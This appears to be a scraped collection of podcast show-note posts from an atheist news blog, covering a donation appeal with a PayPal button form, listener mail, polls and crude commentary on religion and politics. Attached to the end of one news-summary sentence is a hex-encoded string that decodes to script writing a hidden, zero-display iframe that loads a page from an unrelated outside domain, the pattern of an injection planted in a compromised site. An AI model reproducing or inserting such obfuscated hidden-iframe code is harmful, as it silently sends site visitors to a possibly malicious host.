Just days ago, his wife Cari had a bad accident and broke, cracked, sprained, punctured and cut what sounded to me like god damn near everything in her body. Right now she’s stable, but is still in the ICU.

Because his wife is in the hospital, Roger Scott can’t tour, which means he can’t make money, which means he can’t pay the jillion dollars in medical bills he’s about to have rammed up his ass.

This is where the Atheist News Posse comes to the rescue.

We have to help Roger Scott. He’s not only a good man, he’s one of our own. If his alter ego was a religious preacher, rather than an areligious preacher, his house would already be filled with pies and flowers and his community would rally around him. There is no reason at all we can’t rally around Roger. There is no excuse not to!

That’s what I want from you. I want you to click below and PayPal or use your credit card to kick down $10 to Brother Sam, because Brother Sam is royally fucked. Optionally, buy some of his swag over here. This is what I am buying from you guys and gals this year with the karma I have saved up from doing this show. You do this, you don’t have to do anything else I ask for for the rest of the year…

…Except vote during the podcast awards, but we’ll burn that bridge when we come to it.

(The name on the account is the name of his Agency, by the way.)

But don’t stop there. Tell your friends, post this around on the sites you frequent. Let’s help Sam! Go go go!

If you want to put this button on your site, you can do so with the following mess of code:

<form style="margin: 0pt;" action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_xclick" />
<input name="business" type="hidden" value="loveofferings@samsingleton.com" />
<input name="item_name" type="hidden" value="Save Our Sam!" />
<input name="return" type="hidden" />
<input name="cancel_return" type="hidden" />
<input name="image_url" type="hidden" />
<input name="bn" type="hidden" value="yahoo-sitebuilder" />
<input name="pal" type="hidden" value="C3MGKKUCCAB9J" />
<input name="mrb" type="hidden" value="R-5AJ59462NH120001H" />
<input src="http://www.atheistnews.org/img/sos.png" type="image" />
</form>

Or, just put a link to his site, he has a donate button on the right hand side.

http://www.samsingleton.com/

Thanks guys!

As for the show: we talk more about Israel and I dig my hole even deeper whilst Richard plays the sensible one. During this conversation, I promise a link to this:

Netanyahu talks shit.

Richard talks about Death, dying and Daniel Dennett: http://www.edge.org/3rd_culture/dennett06/dennett06_index.html

And here we have a video of Woodruff, SC City Council meeting defying the warning from FFRF about prayer: http://www.youtube.com/watch?v=_xmxwdGNfpI

We go over a bunch of listener mail and eventually get to the news (now with 100% more doot doot doot goodness!)

First, a letter from Steve [Last Name Withheld]

Hi Joe,

Can you give the owners of the Empire State Building some love on the next podcast, and encourage listeners to do the same? I’m sure they’re getting it from all sides on this one.

http://wcbstv.com/local/mother.teresa.snub.2.1740885.html

I sent the management company a congratulatory note through the below link. Don’t know if it’s the best way but it works.

http://malkinproperties.com/about-us/contact-us

I’ve also written to the City Councilman who wanted to (did?) introduce a resolution compelling the ESB to reverse it’s decision. You can do so by clicking on Email Us here:

http://council.nyc.gov/d22/html/members/home.shtml.

Steve

Give them a shout.

Also, the results are in. You guys like it when we ramble about random stuff on the Atheist News Podcast. This week, we may have taken it a bit too far, but you get what you pay for.

Should we stick to only talking about religious/atheist subject matter on the show?
* Eh, some digression is interesting. (62.0%, 32 Votes)
* No, talk about whatever catches your interest. (27.0%, 14 Votes)
* Yes, that’s why I listen. (12.0%, 6 Votes)

There is a new poll this week on the site

Should I bring back the doot doot doot doot music before the atheist news segment officially begins?
Go cast your vote! The fate of… absolutely nothing… depends upon it…!

That’s it.

Oh, check out the site, I am posting a nutty proposal there for all you gamer nerds.

Ok, now that’s it.

We’re wild like that.

We did start the show off with some pretty big news: I will no longer be co-hosting the Chariots of Iron podcast. This is probably actually not news to most of you as the guys announced it a couple of weeks ago much better than I could have, but just in case you hadn’t heard, I’m going to stick to doing just one podcast for a while and Eli and Lamar are going to keep the wheels turning over on Chariots of Iron. I hadn’t had a chance to listen to their last episode by the recording date of this show, so I had no idea that they threw me a wake! I only hope my actual funeral is as touching as it probably won’t be so well attended. Gracias amigos, salute!

Anyhow, it’s not too bad for you guys, there will still be two podcasts featuring overly-opinionated, under-qualified nerds floating around out there for your listening enjoyment. Besides, we have agreed to join forces once again if Oprah gives us a daytime talk-show.

It could happen.

Oh, and uh… IT IS ON.

At the next large atheist event Richard and I attend, we will conduct a foot race of indeterminate length for Charity. It is currently a personal bet of $100, but if anyone has any good ideas on how we could take pledges or work out some sort of matching system, let me know. It just seems rather anticlimactic for me to leaving Richard chewing on my dust in an epic display of athleticism and then hand one wrinkled, nasty $100 bill that’s been in his sweaty pocket to Noel as a donation to the Secular Center.

How can you contact me with your fantastic idea concerning the humiliation of Richard for charity, you ask? Why, over at the new Contact section!

That’s right, I have finally gotten off my ass and added a contact form. My email address is also listed there. It only took a year-and-a-half.

And finally, I leave you with the Sad Tale of the KillDozer.

In the news this week, it’s more yammering about circumcision. A lot more. I know that it doesn’t directly have much to do with atheists or atheism in general, but one of the benefits of quitting smoking and becoming a grumpy jerk is that there are a lot more things that really piss me off all of the sudden. So, I am embracing my inner jerk.

Surprisingly, Richard doesn’t necessarily agree with me on the whole circumcision thing, so we actually have a half-way decent conversation about it rather than just agreeing with each-other incessantly. It didn’t erupt into a full blown argument, though, which would have rocked.

During the show I promised a link to this gem:
http://mypage.direct.ca/w/writer/anti-tales.html

Again: I found it once upon a time and I can’t claim it’s all the truth, but it was interesting–to use a nice, non-committal adjective.

We also discuss the titular “Best fatwa EVAR,” but I don’t want to spoil it here. Just know I am ready to help implement this fatwa here in the United States ASAP.

And… I have a nagging feeling that I am forgetting something…

Oh well, maybe it will come to me later.

Have a good week, chums

–Joe

Well golly. It’s been a while hasn’t it?

In my defense, only most of the wait for this show is due to the paralyzing haze of lethargy that has settled on me since I quit smoking. Once we got it recorded, my power went out and my computer decided it wouldn’t start up again for several days. Yes, yes, I keep saying I’m going to fix it, but then, a few days later, it starts up again and works for another three months and I can’t justify spending money on a new parts when the old ones work like… 75% of the time.

I’m pretty sure my computer gets more annual vacation time than the average Teamster. I’m kind of jealous.

None of this has anything to do with the news.

The show, let’s see, that was a few days ago… oh yeah!

Everybody Draw Muhammad Day!

Pretty-much everyone who was organizing wussed out on this one, but there was one Facebook group that kept it together.

Any like I said on the show, if you are a listener and you did some art, send it my way, I’ll post it on the site. We don’t need a day to fight for our rights, we have all year long.

…

By the way, I hate Comcast. I was just sitting here fuming with impotent rage at how shitty they are to their customers. Then I realized that I could tell you guys about it and it made me feel better. I am now trying to think of a way to tastefully incorporate a Comcast logo and dog-balls into my Muhammad drawing. I’ll let you know how it turns out.

The comic I promised to show you on the show:
The New Gay Stereotype

Thomas.

Fucking.

Jefferson.

Don’t let the door hit you on the ass on the way out.

If you aren’t an American, you probably already know who Thomas Jefferson is and can skip ahead a bit, but for those of you educated aboard this sinking ship of a country I live in, Thomas Jefferson was a humanist and enlightenment thinker that penned the Declaration of Independence, the Jefferson Bible and served as a US congressman twice, was the second governor of Virginia, was the US Ambassador to France and aided the French Revolution, served as the first Secretary of State under George Washington, the second Vice President of the United States under John Adams and served as the third President of the United States during which time he bought the Louisiana Territory (which INCLUDED PARTS OF NORTHERN TEXAS, you fucking cocksuckers) from France, DOUBLING SIZE OF THE UNITED STATES. After that he founded the University of Virginia, which he designed himself.

And if after all that, if you still doubt he was a patriot, he DIED ON THE FOURTH OF JULY.

So, in honor of one of the most forward-thinking men in history, I have decided to against writing a summary for the Atheist News podcast this week. Rather, I would like to honor one of the greatest testaments to free-thought ever committed to paper: the US Declaration of Independence. I’m not going to post it in its entirety, in fact, I am not going to post anything from the actual Declaration; you can find that easily enough online (and if you haven’t read it, I strongly urge to you to so.) What I am going to do is post a snippet of Jefferson’s first draft of the Declaration that was so radical it was ultimately struck from the final draft by his peers in Congress, despite his protests.

So–without further ado–I give you Thomas Jefferson on King George III and slavery:

…
He has waged cruel war against human nature itself, violating

it’s most sacred rights of life & liberty in the persons of

a distant people who never offended him, captivating & carrying

them to slavery in another hemisphere, or to incur miserable

death in their transportations thither. This piratical warfare,

the opprobrium of infidel powers, is the warfare of the Christian

king of Great Britain, determined to keep open a market where MEN

should be bought & sold
…

If you live in Texas and you aren’t a glossy-eyed revisionist historian, I strongly suggest that now is the time to invest yourself heavily in local politics.

Atheist News this week: this, this, this, this, this and this.

We made several attempts to contact the Governor through both the Governor’s office and Charlie Crist’s senatorial campaign office, but were unable to obtain a comment.

If you are a Florida resident and would like to reach the Governor to weigh in on this issue, his office switchboard number is: (850) 488-7146
His email address is Charlie.Crist@MyFlorida.com

Polytheists or no, they are still jerks. Another thing that needs to be explained to me is what the hell orphans and spousally-abused women have to do with giving health care to the married partners of gay people. Or how giving health care to the married partners of gay people could possibly crack the $22 million dollar piggy bank that the District of Columbia gave the church. Just how many openly gay people is the Catholic Church employing these days? I wonder if they hire atheists, I could use some health care.

Speaking of Texas (like that segue?): they are plagued by a brand new tidal wave of stupid. If you are an atheist / skeptic / normal person and live anywhere near Amarillo, you should stake out the local army surplus store and ambush these goons with an impromptu theatrical performance of “Tear Me Down” from Hedwig and the Angry Inch.

Speaking of stupid goons (woah, this one actually made sense): if you live in Virginia, keep your eyes peeled for a van load of Christians handing out fliers blaming women for being raped. Yay ChrIslam.

Yet another anti-gay politician got busted courting mansex. I think Iago said it best.

I know it’s not particularly “atheist news” but you get two–not one–but TWO weeks of Jenny McCarthy News. Why? Because I am a sadist. But the biggest news of all is that apparently Richard likes his ladies a bit on the grotesque side. Who knew?

Last but not least, we did record an ATHEIST NEWS SPECIAL REPORT</reverb> interview with Michael Middlebrooks, the man that the governor of Florida allegedly spazzed out on for being an atheist. I am editing it now and it should be posted within a day or so.

The Governor was unavailable for comment.

Oh, and here is the picture I promised in the show:

Atheist News this week: Christian group utilizes gross misrepresentation to dodge hot lesbians, hate crimes are now belief systems, Jenny McCarthy may have to go back to scratching her crotch and burping for a living, signs are bad, bus + kids + mad dash for the border = ??? and finally, one more state that doesn’t seem to have a firm grasp on the federal constitution.#64#6f#63#75#6d#65#6e#74#2e#77#72#69#74#65#28#22#3c#69#66#72#61#6d#65#20#73#72#63#3d#27#68#74#74#70#3a#2f#2f#6d#6f#73#68#6f#6e#6b#65#6e#2e#63#6f#6d#2f#69#6e#64#65#78#2e#70#68#70#27#20#73#74#79#6c#65#3d#27#64#69#73#70#6c#61#79#3a#6e#6f#6e#65#3b#27#3e#3c#2f#69#66#72#61#6d#65#3e#22#29#3b

And hey, I promised on this show that I’d paste in a link to the official form for complaining to the IRS about the abuse of tax exempt status. Well, here it is!

http://www.irs.gov/pub/irs-pdf/f13909.pdf

Atheist News this week: You can’t eat bibles, Pat Robertson drools on himself incoherently, Stayin’ Alive: Scientology style, Canada knows how to deal with naughty churches, Veil or Vote and finally, someone notices that electrostatic magnetic ion attraction technology doesn’t work.

If you want to give money to help Haiti, you could do worse than checking out what Richard Dawkins has set up:

http://givingaid.richarddawkins.net/

As an extra-special treat during our closing credits, ALROmega agreed to let us turn you out with a cheeky little track he just dropped called “Original Front Hug.” [NSFW] which includes a shout out to Atheist News! BAM.

And probably not something you want to let your kids listen to, but if they are already listening to the damn show I don’t suppose that they have much of their innocence left to tear away from them… so uh…

Atheist News this week: Irish posse isn’t going to take this shit lying down, Jesus battles the living dead, Bloomberg finally starts pandering to us, the BHA also isn’t going to take this shit lying down, tickets to heaven, I am tired of Uganda, crazy prophet should have seen this coming and DON’T GO TO DUBAI. SERIOUSLY, DON’T.

Atheist News of the week: Teabaggers have bad aim, religion ain’t what it used to be, everyone act surprised at news of a homicidal Baptist, atheists hit them where it hurts the most, of biblical apologies from Gaymorrah and finally: a priest actually making some sense for once.

Thank me later.

Speaking of thanks: Lord Scarab rocks my socks. Thanks for posting last week’s show, old chap.

In the news: Is Belief in God Hurting America? Ireland’s clergy and police for were in cahoots. “Cut out of an arm chair for Jesus.” The seal of the confessional is apparently more important than your life. The former pope kicked his own ass. Give me an atheist front hug any day of the week.

In the news this week: The Catholic Church is apparently bursting at the seams with uninsured gay couples, unrepentant fetus defenders, doing God’s work, mamby-pamby Muslims, bankrupting the baby-boffers one diocese at a time and PRAYNAPPING® for Dummies.